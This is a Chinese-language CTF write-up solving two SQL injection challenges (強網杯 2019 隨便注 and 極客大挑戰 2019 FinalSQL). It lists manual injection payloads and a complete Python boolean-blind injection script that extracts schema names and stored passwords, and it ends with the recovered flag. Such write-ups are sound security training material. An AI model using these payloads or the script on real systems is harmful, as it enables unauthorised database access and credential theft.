漏洞重溫之sql注入(FUZZ)
[強網杯 2019]隨便注
首先,根據頁面,發現頁面上有一個搜索框,並且url里面沒有id等參數控制頁面,粗略猜測該位置的注入類型是POST型。
post型注入一般使用抓包工具進行注入。
根據數據包,發現之前判斷有誤。但是在url里在查詢操作之后多了一個可操作參數。使用測試語句來判斷閉合。
1' and 1=1 --
1' and 1=2 --
確認了閉合之后,使用order by判斷注入。
1' order by 2 --
確定了顯示的位置之后,使用聯合查詢進行注入。
1' and 1=2 union select 1,2 --
發現,可以使用的函數大部分都被過濾了。所以這里我們直接使用盲注進行。因為之前在測試語句的時候,我們可以發現1=1和1=2返回的結果不同,所以代表我們可以使用布爾型盲注。
1' and length((database()))>1 --
1' and length((database()))>10 --
然后只需要按照盲注的方式逐步進行即可。
[極客大挑戰 2019]FinalSQL
首先,看到這個頁面,有登錄框,那就必須要嘗試一下萬能密碼。
看來,對方在萬能密碼上做了足夠多的防護。
然后,我們還可以看到,在頁面的位置,還存在幾個可以點擊的選項,嘗試點擊一下。
可以看到,雖然沒有任何的顯示,但是在url的位置上,多出了一截,信息大概是?id=1。在url上有了參數之后,因為在頁面上並沒有回顯位置。
所以我們可以嘗試的,也就只有報錯注入和盲注了。
這里,因為我們並沒有看到回顯的位置,所以暫時先嘗試了盲注。
決定使用盲注之后,就要嘗試尋找注入點,這里可以使用bp自帶的字典。
發現‘^’沒有被過濾之后,那么直接寫腳本進行盲注。
當然,我是不太會自己寫,所以上網找了大佬寫的盲注腳本。
import re
import requests
import string
url = "http://56c946f5-9ecf-4a67-88da-81a5393ac53e.node3.buuoj.cn/search.php"
flag = ''
def payload(i, j):
# 數據庫名字
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# 表名
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
# 列名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
# 查詢flag
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)
使用第一行爆數據庫名的代碼,得到結果如下,猜測保存flag的數據庫為geek。
接下來,挨個使用爆表名,爆字段,爆數據等信息。
最后得到flag如下:
flag{90727511-6b73-45fd-b93d-1e7943d8fb62}
挑戰完成。